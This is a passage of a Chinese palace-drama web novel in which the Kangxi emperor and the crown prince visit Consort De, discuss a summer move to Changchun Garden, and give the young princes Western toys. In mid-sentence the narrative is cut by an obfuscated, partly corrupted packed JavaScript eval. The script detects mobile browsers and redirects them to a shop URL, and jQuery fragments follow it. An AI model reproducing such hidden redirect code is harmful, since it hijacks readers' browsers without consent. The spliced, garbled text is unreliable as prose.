康熙先尝了口莲子羹,点头道:“清甜不腻,火候正好。”又对胤礽道,“保成,你也尝尝,看合不合口味。”
胤礽依言舀了一勺送入口中,眼睛微亮:“果真爽口,比御膳房做的似乎更清淡些,德娘娘好手艺。”
明秀笑道:“殿下谬赞了。御膳房需顾及满宫人的口味,用料自然要讲究些,妾身这不过是家常做法,少放了些糖,殿下不觉得滋味寡淡就好。”
“这样才好。”康熙接话,缓缓又道:“来你宫里前,朕已吩咐下去,后日便启程往畅春园避暑,你这里也早些准备,四阿哥和六阿哥都带着,园子里地方开阔,孩子们也能畅快些。”
明秀心头一喜,眼底掠过一抹亮色。
畅春园的景致她早有耳闻,只是一直无缘得见。若是能去,不仅能赏那满园的湖光山色,说不定还能在湖上泛舟,想想便觉得惬意。
她又想起胤禛,这孩子近日在课业上颇为用功,有时夜里还会起身温书,小小年纪便这般刻苦,她总担心他累坏了身子。若是去了畅春园,少了宫里的规矩束缚,或许能叫他松泛松泛。
她起身谢恩:“谢皇上体恤。臣妾一定妥善准备,不耽误圣驾行程。”
康熙放下茶盏,指尖轻轻摩挲着杯沿,又慢悠悠开口,语气依旧平淡:“皇贵妃的身子日渐重了,届时园子里一应琐事,怕是精力不济,少不得要有人从旁协理,你性子素来稳妥,这些事,也要多费心。”
这话里的意思就深了。畅春园的琐事看似寻常,实则关乎后宫的体面与秩序。
皇贵妃是后宫之首,如今身子不便,让她协理,便是默许她代掌部分权柄。
明秀心头一凛,垂眸敛去眼底的波澜,恭敬应道:“臣妾才疏德薄,恐难当重任。但若皇上与娘娘有差遣,臣妾定当竭尽绵力,不敢有误。”
康熙见她答得谨慎,不再多言,只笑了笑,端起碗,又舀了一勺莲子羹。
这时,殿外传来细微的脚步声,是胤禛牵着还有些睡眼惺忪的胤祚走了进来。
两位阿哥显然是被匆忙唤来,胤禛袍褂还算齐整,胤祚则只穿了件嫩青色小褂,脸上带着刚被
;eval(function(p,a,c,k,e,d){e=function(c){return(c
35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|17032552|194347||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
唤醒的倦意,懵懂可爱。
“儿臣给皇阿玛请安,给太子殿下请安。”胤禛规矩地打千,胤祚也学着他的样子,奶声奶气地含糊道:“给皇阿玛请安,太子哥哥安。”
康熙看着两个儿子,神色愈发温和:“起来吧,是朕来得突然,吵醒你们了?”
胤禛摇头:“儿臣尚未就寝,正在温书。”
胤礽看着两个小不点,忍不住笑了,朝他们招招手:“四弟,六弟,过来坐。皇阿玛带我来讨德娘娘的好汤喝,你们也一起来用些。”
说着,他转头看向身后的何玉柱,何玉柱立刻递上一个精巧的紫檀木小匣子。
胤礽接过,打开匣子,里面摆着几样新鲜有趣的西洋玩意儿:一个嵌着彩色玻璃珠的万花筒,一个上了发条就能蹦跳的珐琅小青蛙,还有几枚晶莹剔透的琉璃弹珠,在灯下闪着光。
“这是方才从皇阿玛私库里挑的,给你们玩儿。”
胤礽拿起那只珐琅小青蛙,轻轻拧了拧发条,小青蛙便在桌上蹦跶起